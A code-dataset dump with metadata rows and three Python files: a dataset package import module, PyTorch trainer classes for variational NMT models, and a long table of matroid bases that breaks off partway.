41.3
101
0.791768
25
413
12.88
0.64
0.204969
0.310559
0.403727
0.888199
0.888199
0.888199
0.888199
0.888199
0
0
0
0.106538
413
9
102
45.888889
0.872629
0
0
0
0
0
0.346247
0
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
1
0
1
null
1
1
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
cea1ea5930162066c16967754054252c31f2ab27
198
py
Python
src/dataset/__init__.py
FHellmann/Deformable_Dilated_Faster-RCNN
53e7ddcd6b3b8c7c38451cf08529d2792494c658
[ "MIT" ]
1
2021-10-09T03:05:16.000Z
2021-10-09T03:05:16.000Z
src/dataset/__init__.py
FHellmann/Deformable_Dilated_Faster-RCNN
53e7ddcd6b3b8c7c38451cf08529d2792494c658
[ "MIT" ]
null
null
null
src/dataset/__init__.py
FHellmann/Deformable_Dilated_Faster-RCNN
53e7ddcd6b3b8c7c38451cf08529d2792494c658
[ "MIT" ]
2
2021-03-02T12:06:14.000Z
2021-11-20T16:02:43.000Z
from src.dataset.deep_lesion_dataset import DatasetType, DeepLesionDataset from src.dataset.deep_lesion_downloader import download_zips from src.dataset.deep_lesion_extractor import extract_dataset
49.5
74
0.89899
27
198
6.296296
0.481481
0.123529
0.247059
0.317647
0.423529
0
0
0
0
0
0
0
0.065657
198
3
75
66
0.918919
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ced95d318a4d92d10862c158b4c34b39d1dfb185
6,762
py
Python
aevnmt/trainers.py
nbortych/AEVNMT.pt
360a885a3bab9212a67922f3a9bb44f26c9512fc
[ "MIT" ]
8
2019-08-06T09:49:56.000Z
2021-12-22T13:46:34.000Z
aevnmt/trainers.py
nbortych/AEVNMT.pt
360a885a3bab9212a67922f3a9bb44f26c9512fc
[ "MIT" ]
18
2019-09-11T10:39:27.000Z
2021-02-12T10:33:09.000Z
aevnmt/trainers.py
nbortych/AEVNMT.pt
360a885a3bab9212a67922f3a9bb44f26c9512fc
[ "MIT" ]
8
2019-08-26T06:07:27.000Z
2021-01-28T07:01:21.000Z
import torch from torch.distributions import Categorical from aevnmt.dist import get_named_params class AEVNMTTrainer: def __init__(self, model, loss, histogram_every=100): self.model = model self.loss = loss self.histogram_every = histogram_every def _repeat_over_samples(self, tensor, num_samples, flatten=True): """ Repeats given tensor with shape [B, ...] over num_samples, the resulting shape is: [num_samples * B, ...] if flatten, [num_samples, B, ...] otherwise. A flattened tensor can be unflattened with self._unflatten_samples. """ if tensor is not None: tensor_exp = tensor.unsqueeze(0).repeat(num_samples, *[1]*len(tensor.shape)) if flatten: tensor_exp = self._flatten_samples(tensor_exp) return tensor_exp def _flatten_samples(self, tensor): """[num_samples, B, ...] -> [num_samples * B, ...]""" if tensor is not None: return tensor.view(tensor.shape[0] * tensor.shape[1], *tensor.shape[2:]) def _unflatten_samples(self, tensor, num_samples): if tensor is not None: return tensor.view(num_samples, -1, *tensor.shape[1:]) def step(self, x_in, x_out, seq_mask_x, seq_len_x, noisy_x_in, y_in, y_out, seq_mask_y, seq_len_y, noisy_y_in, step, summary_writer=None): q_z = self.model.approximate_posterior(x_in, seq_mask_x, seq_len_x, y_in, seq_mask_y, seq_len_y) p_z = self.model.prior() if self.loss.num_samples == 1: z = q_z.rsample() else: z = q_z.rsample([self.loss.num_samples]) z = self._flatten_samples(z) # [K * B, ...] # Expand required inputs to [K * B, ...] noisy_x_in = self._repeat_over_samples(noisy_x_in, self.loss.num_samples, flatten=True) noisy_y_in = self._repeat_over_samples(noisy_y_in, self.loss.num_samples, flatten=True) seq_mask_x = self._repeat_over_samples(seq_mask_x, self.loss.num_samples, flatten=True) seq_len_x = self._repeat_over_samples(seq_len_x, self.loss.num_samples, flatten=True) # Expand targets x_out = self._repeat_over_samples(x_out, self.loss.num_samples, flatten=True) y_out = self._repeat_over_samples(y_out, self.loss.num_samples, flatten=True) # TODO aux likelihoods are not used in the new Loss functions. tm_likelihood, lm_likelihood, _, _, _ = self.model(noisy_x_in, seq_mask_x, seq_len_x, noisy_y_in, z) loss_dict = self.loss(tm_likelihood, lm_likelihood, y_out, x_out, q_z, p_z, z, step, self.model, reduction='mean') if summary_writer and step % self.histogram_every == 0: # generate histograms for the posterior and prior summary_writer.add_histogram("posterior/z", z, step) for param_name, param_value in get_named_params(q_z): summary_writer.add_histogram("posterior/%s" % param_name, param_value, step) prior_sample = p_z.sample(torch.Size([z.size(0)])) summary_writer.add_histogram("prior/z", prior_sample, step) for param_name, param_value in get_named_params(p_z): summary_writer.add_histogram("prior/%s" % param_name, param_value, step) return loss_dict class SenVAETrainer: def __init__(self, model, loss, histogram_every=100): self.model = model self.loss = loss self.histogram_every = histogram_every def _repeat_over_samples(self, tensor, num_samples, flatten=True): """ Repeats given tensor with shape [B, ...] over num_samples, the resulting shape is: [num_samples * B, ...] if flatten, [num_samples, B, ...] otherwise. A flattened tensor can be unflattened with self._unflatten_samples. """ if tensor is not None: tensor_exp = tensor.unsqueeze(0).repeat(num_samples, *[1]*len(tensor.shape)) if flatten: tensor_exp = self._flatten_samples(tensor_exp) return tensor_exp def _flatten_samples(self, tensor): """[num_samples, B, ...] -> [num_samples * B, ...]""" if tensor is not None: return tensor.view(tensor.shape[0] * tensor.shape[1], *tensor.shape[2:]) def _unflatten_samples(self, tensor, num_samples): if tensor is not None: return tensor.view(num_samples, -1, *tensor.shape[1:]) def step(self, x_in, x_out, seq_mask_x, seq_len_x, noisy_x_in, step, summary_writer=None): q_z = self.model.approximate_posterior(x_in, seq_mask_x, seq_len_x,None,None,None) p_z = self.model.prior() if self.loss.num_samples == 1: z = q_z.rsample() else: z = q_z.rsample([self.loss.num_samples]) z = self._flatten_samples(z) # [K * B, ...] # Expand required inputs to [K * B, ...] noisy_x_in = self._repeat_over_samples(noisy_x_in, self.loss.num_samples, flatten=True) seq_mask_x = self._repeat_over_samples(seq_mask_x, self.loss.num_samples, flatten=True) seq_len_x = self._repeat_over_samples(seq_len_x, self.loss.num_samples, flatten=True) # Expand targets x_out = self._repeat_over_samples(x_out, self.loss.num_samples, flatten=True) # TODO aux likelihoods are not used in the new Loss functions. lm_likelihood, _, _ = self.model(noisy_x_in, seq_mask_x, seq_len_x, z) loss_dict = self.loss( None, lm_likelihood, None,x_out, q_z, p_z, z, step, self.model, reduction='mean') if summary_writer and step % self.histogram_every == 0: # generate histograms for the posterior and prior summary_writer.add_histogram("posterior/z", z, step) for param_name, param_value in get_named_params(q_z): summary_writer.add_histogram("posterior/%s" % param_name, param_value, step) prior_sample = p_z.sample(torch.Size([z.size(0)])) summary_writer.add_histogram("prior/z", prior_sample, step) for param_name, param_value in get_named_params(p_z): summary_writer.add_histogram("prior/%s" % param_name, param_value, step) return loss_dict class NMTTrainer: def __init__(self, model, loss): self.model = model self.loss = loss def step(self, x_in, x_out, seq_mask_x, seq_len_x, noisy_x_in, y_in, y_out, seq_mask_y, seq_len_y, noisy_y_in, step, summary_writer=None): likelihood, _ = self.model(noisy_x_in, seq_mask_x, seq_len_x, noisy_y_in) loss_dict = self.loss(likelihood, y_out, self.model, reduction="mean") return loss_dict
46.315068
122
0.646406
972
6,762
4.167695
0.105967
0.078993
0.038015
0.062207
0.932116
0.912861
0.895828
0.895828
0.895828
0.895828
0
0.005104
0.246673
6,762
146
123
46.315068
0.790145
0.131322
0
0.810526
0
0
0.015275
0
0
0
0
0.013699
0
1
0.126316
false
0
0.031579
0
0.284211
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
8
0c69d15a3f3f5194280b083567c7f007262bd0b6
334,089
py
Python
mat84bases.py
bmilosh/Common-Information-and-Matroid-Ports
653908c2d1a4b9c1774573b1f95b870e7f99f875
[ "BSD-3-Clause" ]
1
2020-10-19T05:20:53.000Z
2020-10-19T05:20:53.000Z
mat84bases.py
bmilosh/Common-Information-and-Matroid-Ports
653908c2d1a4b9c1774573b1f95b870e7f99f875
[ "BSD-3-Clause" ]
null
null
null
mat84bases.py
bmilosh/Common-Information-and-Matroid-Ports
653908c2d1a4b9c1774573b1f95b870e7f99f875
[ "BSD-3-Clause" ]
null
null
null
allbases = { '866_8_4_16' : ['0234','1234','0345','1345','0246','1246','0456','1456','0237','1237','0357','1357','0267','1267','0567','1567'] , '867_8_4_12' : ['0234','1234','0345','1345','0246','1246','0456','1456','2347','3457','2467','4567'] , '868_8_4_9' : ['0234','1234','0345','1345','2346','3456','0347','1347','3467'] , '869_8_4_8' : ['0234','1234','0345','1345','2346','3456','2347','3457'] , '870_8_4_5' : ['0234','1234','2345','2346','2347'] , '871_8_4_8' : ['0234','1234','0345','1345','0246','1246','0456','1456'] , '872_8_4_6' : ['0234','1234','0345','1345','2346','3456'] , '873_8_4_4' : ['0234','1234','2345','2346'] , '874_8_4_4' : ['0234','1234','0345','1345'] , '875_8_4_3' : ['0234','1234','2345'] , '876_8_4_2' : ['0234','1234'] , '878_8_4_20' : ['0234','1234','0345','1345','0246','1246','0456','1456','0237','1237','0347','1347','0357','1357','0267','1267','0467','1467','0567','1567'] , '879_8_4_16' : ['0234','1234','0345','1345','0246','1246','0456','1456','0247','1247','2347','0457','1457','3457','2467','4567'] , '880_8_4_18' : ['0234','1234','0345','1345','2346','3456','0237','1237','0247','1247','0357','1357','0457','1457','2367','2467','3567','4567'] , '881_8_4_15' : ['0234','1234','0345','1345','2346','3456','0247','1247','0347','1347','0457','1457','2467','3467','4567'] , '882_8_4_14' : ['0234','1234','0345','1345','2346','3456','0247','1247','2347','0457','1457','3457','2467','4567'] , '883_8_4_11' : ['0234','1234','0345','1345','2346','3456','0347','1347','2347','3457','3467'] , '884_8_4_12' : ['0234','1234','0345','1345','0346','1346','2346','3456','0347','1347','2347','3457'] , '885_8_4_12' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','2347','2457','3457'] , '886_8_4_9' : ['0234','1234','2345','2346','0347','1347','2347','3457','3467'] , '887_8_4_12' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456'] , '888_8_4_10' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456'] , '889_8_4_8' : ['0234','1234','0345','1345','0346','1346','2346','3456'] , '890_8_4_9' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456'] , '891_8_4_7' : ['0234','1234','2345','0346','1346','2346','3456'] , '892_8_4_6' : ['0234','1234','0245','1245','0345','1345'] , '893_8_4_5' : ['0234','1234','0235','1235','2345'] , '894_8_4_3' : ['0123','0134','1234'] , '895_8_4_24' : ['0234','1234','0345','1345','0246','1246','0456','1456','0237','1237','0247','1247','2347','0357','1357','0457','1457','3457','0267','1267','2467','0567','1567','4567'] , '896_8_4_20' : ['0234','1234','0345','1345','0246','1246','0456','1456','0247','1247','0347','1347','2347','0457','1457','3457','0467','1467','2467','4567'] , '897_8_4_21' : ['0234','1234','0345','1345','2346','3456','0237','1237','0247','1247','0347','1347','0357','1357','0457','1457','2367','2467','3467','3567','4567'] , '898_8_4_20' : ['0234','1234','0345','1345','2346','3456','0237','1237','0247','1247','2347','0357','1357','0457','1457','3457','2367','2467','3567','4567'] , '899_8_4_17' : ['0234','1234','0345','1345','2346','3456','0247','1247','0347','1347','2347','0457','1457','3457','2467','3467','4567'] , '900_8_4_16' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','2347','2367','2467','3467'] , '901_8_4_13' : ['0234','1234','2345','2346','0247','1247','0347','1347','2347','2457','3457','2467','3467'] , '902_8_4_14' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456'] , '903_8_4_12' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456'] , '904_8_4_12' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456'] , '905_8_4_10' : ['0234','1234','2345','0246','1246','0346','1346','2346','2456','3456'] , '906_8_4_8' : ['0234','1234','0235','1235','0245','1245','0345','1345'] , '907_8_4_7' : ['0234','1234','0245','1245','0345','1345','2345'] , '908_8_4_4' : ['0123','0124','0234','1234'] , '909_8_4_28' : ['0234','1234','0345','1345','0246','1246','0456','1456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0467','1467','2467','0567','1567','4567'] , '910_8_4_23' : ['0234','1234','0345','1345','2346','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','2367','2467','3467','3567','4567'] , '911_8_4_17' : ['0234','1234','2345','2346','0237','1237','0247','1247','0347','1347','2347','2357','2457','3457','2367','2467','3467'] , '912_8_4_16' : ['0234','1234','0345','1345','0236','1236','0246','1246','0346','1346','2346','0356','1356','0456','1456','3456'] , '913_8_4_13' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2346','2356','2456','3456'] , '914_8_4_9' : ['0234','1234','0235','1235','0245','1245','0345','1345','2345'] , '915_8_4_5' : ['0123','0124','0134','0234','1234'] , '916_8_4_24' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0237','1237','0247','1247','0357','1357','0457','1457','0267','1267','0567','1567'] , '917_8_4_18' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0247','1247','2347','0457','1457','3457','2467','4567'] , '918_8_4_13' : ['0234','1234','0345','1345','0346','1346','2346','3456','0347','1347','2347','3457','3467'] , '919_8_4_18' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0247','1247','0347','1347','0457','1457','2467','3467','4567'] , '920_8_4_12' : ['0234','1234','2345','0346','1346','2346','3456','0347','1347','2347','3457','3467'] , '921_8_4_12' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456'] , '922_8_4_9' : ['0234','1234','0235','1235','2345','0236','1236','2346','2356'] , '923_8_4_6' : ['0123','0134','1234','0135','1235','1345'] , '924_8_4_24' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0347','1347','2347','3457','0367','1367','2367','0467','1467','2467','3567','4567'] , '925_8_4_25' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','0347','1347','0357','1357','0267','1267','2367','0467','1467','3467','0567','1567','3567'] , '926_8_4_21' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0237','1237','2347','0257','1257','0357','1357','2457','3457','2367','2567','3567'] , '927_8_4_15' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456'] , '928_8_4_9' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345'] , '929_8_4_26' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0247','1247','2347','0457','1457','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '930_8_4_24' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','2347','0357','1357','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '931_8_4_21' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0247','1247','0347','1347','0457','1457','0467','1467','2467','3467','4567'] , '932_8_4_19' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0347','1347','2347','3457','0467','1467','2467','3467','4567'] , '933_8_4_20' : ['0234','1234','0345','1345','0346','1346','2346','3456','0247','1247','0347','1347','2347','0457','1457','3457','0467','1467','2467','4567'] , '934_8_4_24' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','2347','2457','3457','2367','3467','2567','3567','4567'] , '935_8_4_18' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0347','1347','2347','0457','1457','2457','3457','3467','4567'] , '936_8_4_16' : ['0234','1234','2345','0346','1346','2346','3456','0247','1247','2347','2457','0467','1467','2467','3467','4567'] , '937_8_4_16' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456'] , '938_8_4_13' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456'] , '939_8_4_12' : ['0234','1234','0235','1235','2345','0346','1346','2346','0356','1356','2356','3456'] , '940_8_4_8' : ['0123','0134','1234','0235','1235','0345','1345','2345'] , '941_8_4_30' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0237','1237','0247','1247','2347','0357','1357','0457','1457','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '942_8_4_28' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','0247','1247','2347','0357','1357','0457','1457','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '943_8_4_23' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0247','1247','0347','1347','2347','0457','1457','3457','0467','1467','2467','3467','4567'] , '944_8_4_21' : ['0234','1234','0345','1345','0346','1346','2346','3456','0247','1247','0347','1347','2347','0457','1457','3457','0467','1467','2467','3467','4567'] , '945_8_4_24' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0237','1237','0347','1347','2347','0357','1357','3457','0367','1367','2367','3567'] , '946_8_4_27' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0457','1457','2367','2467','3467','2567','3567','4567'] , '947_8_4_21' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0247','1247','0347','1347','2347','0457','1457','2457','3457','2467','3467','4567'] , '948_8_4_19' : ['0234','1234','2345','0346','1346','2346','3456','0247','1247','0347','1347','2347','2457','3457','0467','1467','2467','3467','4567'] , '949_8_4_18' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456'] , '950_8_4_15' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','2346','0456','1456','2456','3456'] , '951_8_4_14' : ['0234','1234','0235','1235','2345','0236','1236','0346','1346','2346','0356','1356','2356','3456'] , '952_8_4_9' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345'] , '953_8_4_32' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0247','1247','0347','1347','2347','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '954_8_4_31' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','0247','1247','0347','1347','0357','1357','0457','1457','0267','1267','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '955_8_4_29' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','0347','1347','2347','0357','1357','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '956_8_4_27' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0347','1347','2347','3457','0367','1367','2367','0467','1467','2467','3467','3567','4567'] , '957_8_4_28' : ['0234','1234','0345','1345','0346','1346','2346','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0367','1367','2367','0467','1467','2467','3567','4567'] , '958_8_4_27' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0237','1237','0247','1247','2347','0257','1257','0357','1357','0457','1457','2457','3457','2367','2467','2567','3567','4567'] , '959_8_4_25' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','0247','1247','2347','2457','0267','1267','2367','0467','1467','2467','3467','2567','4567'] , '960_8_4_23' : ['0234','1234','2345','0346','1346','2346','3456','0237','1237','0247','1247','2347','2357','2457','0367','1367','2367','0467','1467','2467','3467','3567','4567'] , '961_8_4_19' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456'] , '962_8_4_18' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','2356','2456','3456'] , '963_8_4_17' : ['0234','1234','0235','1235','2345','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456'] , '964_8_4_11' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345'] , '965_8_4_36' : ['0234','1234','0345','1345','0236','1236','0246','1246','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '966_8_4_33' : ['0234','1234','0345','1345','0246','1246','2346','0456','1456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '967_8_4_29' : ['0234','1234','0345','1345','0346','1346','2346','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0367','1367','2367','0467','1467','2467','3467','3567','4567'] , '968_8_4_30' : ['0234','1234','0245','1245','0345','1345','2346','2456','3456','0237','1237','0247','1247','0347','1347','2347','0257','1257','0357','1357','0457','1457','2457','3457','2367','2467','3467','2567','3567','4567'] , '969_8_4_26' : ['0234','1234','2345','0346','1346','2346','3456','0237','1237','0247','1247','0347','1347','2347','2357','2457','3457','0367','1367','2367','0467','1467','2467','3467','3567','4567'] , '970_8_4_21' : ['0234','1234','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','0456','1456','2456','3456'] , '971_8_4_19' : ['0234','1234','0235','1235','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456'] , '972_8_4_12' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345'] , '973_8_4_33' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','0347','1347','0357','1357','0457','1457','0367','1367','2367','0467','1467','2467','3467','3567','4567'] , '974_8_4_32' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','2347','0357','1357','0457','1457','3457','0267','1267','2367','2467','0567','1567','3567','4567'] , '975_8_4_32' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0247','1247','0347','1347','2347','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '976_8_4_25' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0237','1237','0347','1347','2347','0357','1357','3457','0367','1367','2367','3467','3567'] , '977_8_4_30' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','0237','1237','0247','1247','0347','1347','2357','2457','3457','0267','1267','0367','1367','0467','1467','2567','3567','4567'] , '978_8_4_28' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','0247','1247','0347','1347','2347','2457','3457','0267','1267','0367','1367','2367','2467','3467','2567','3567'] , '979_8_4_22' : ['0234','1234','2345','0246','1246','0346','1346','2346','2456','3456','0247','1247','0347','1347','2347','2457','3457','0467','1467','2467','3467','4567'] , '980_8_4_20' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0356','1356','2356','0456','1456','2456','3456'] , '981_8_4_20' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','0256','1256','0356','1356','0456','1456'] , '982_8_4_16' : ['0234','1234','0245','1245','0345','1345','2345','0246','1246','0346','1346','2346','0456','1456','2456','3456'] , '983_8_4_12' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345'] , '984_8_4_10' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345'] , '985_8_4_37' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','0347','1347','0357','1357','0457','1457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '986_8_4_35' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0237','1237','0347','1347','2347','0357','1357','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '987_8_4_36' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '988_8_4_33' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0247','1247','0347','1347','2347','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '989_8_4_31' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','0247','1247','0347','1347','2347','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '990_8_4_29' : ['0234','1234','2345','0246','1246','0346','1346','2346','2456','3456','0237','1237','0247','1247','2347','2357','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '991_8_4_22' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '992_8_4_21' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','2456','3456'] , '993_8_4_13' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345'] , '994_8_4_39' : ['0234','1234','0345','1345','0236','1236','0246','1246','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '995_8_4_37' : ['0234','1234','0345','1345','0236','1236','0346','1346','2346','0356','1356','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '996_8_4_40' : ['0234','1234','0345','1345','0236','1236','0246','1246','0346','1346','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '997_8_4_34' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '998_8_4_32' : ['0234','1234','2345','0246','1246','0346','1346','2346','2456','3456','0237','1237','0247','1247','0347','1347','2347','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '999_8_4_24' : ['0234','1234','0235','1235','0245','1245','0345','1345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1000_8_4_23' : ['0234','1234','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1001_8_4_14' : ['0123','0124','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345'] , '1002_8_4_41' : ['0234','1234','0345','1345','0236','1236','0246','1246','0346','1346','2346','0356','1356','0456','1456','3456','0237','1237','0247','1247','0347','1347','2347','0357','1357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1003_8_4_35' : ['0234','1234','2345','0236','1236','0246','1246','0346','1346','2346','2356','2456','3456','0237','1237','0247','1247','0347','1347','2347','2357','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1004_8_4_25' : ['0234','1234','0235','1235','0245','1245','0345','1345','2345','0236','1236','0246','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456'] , '1005_8_4_15' : ['0123','0124','0134','0234','1234','0125','0135','0235','1235','0145','0245','1245','0345','1345','2345'] , '1006_8_4_20' : ['0234','1234','0245','1245','0345','1345','0246','1246','0346','1346','0456','1456','0247','1247','0347','1347','0457','1457','0467','1467'] , '1007_8_4_14' : ['0234','1234','0235','1235','2345','0236','1236','2346','2356','0237','1237','2347','2357','2367'] , '1008_8_4_10' : ['0123','0134','1234','0135','1235','1345','0136','1236','1346','1356'] , '1009_8_4_32' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0237','1237','0247','1247','0347','1347','0257','1257','0357','1357','0267','1267','0467','1467','0567','1567'] , '1010_8_4_24' : ['0234','1234','0245','1245','0345','1345','0346','1346','2346','0456','1456','2456','3456','0247','1247','0347','1347','2347','2457','3457','0467','1467','2467','4567'] , '1011_8_4_16' : ['0123','0134','1234','0235','1235','0345','1345','2345','0136','0236','0346','1346','2346','0356','1356','2356'] , '1012_8_4_30' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0247','1247','0347','1347','0457','1457','0267','1267','0367','1367','2467','3467','0567','1567','4567'] , '1013_8_4_27' : ['0234','1234','0245','1245','0345','1345','0236','1236','2346','0256','1256','0356','1356','2456','3456','0237','1237','2347','0257','1257','0357','1357','2457','3457','2367','2567','3567'] , '1014_8_4_18' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0236','0146','1246','0346','2346','0256','0456','2456'] , '1015_8_4_30' : ['0234','1234','0245','1245','0345','1345','0236','1236','0346','1346','0256','1256','0356','1356','0456','1456','0247','1247','0347','1347','0457','1457','0267','1267','0367','1367','0467','1467','0567','1567'] , '1016_8_4_24' : 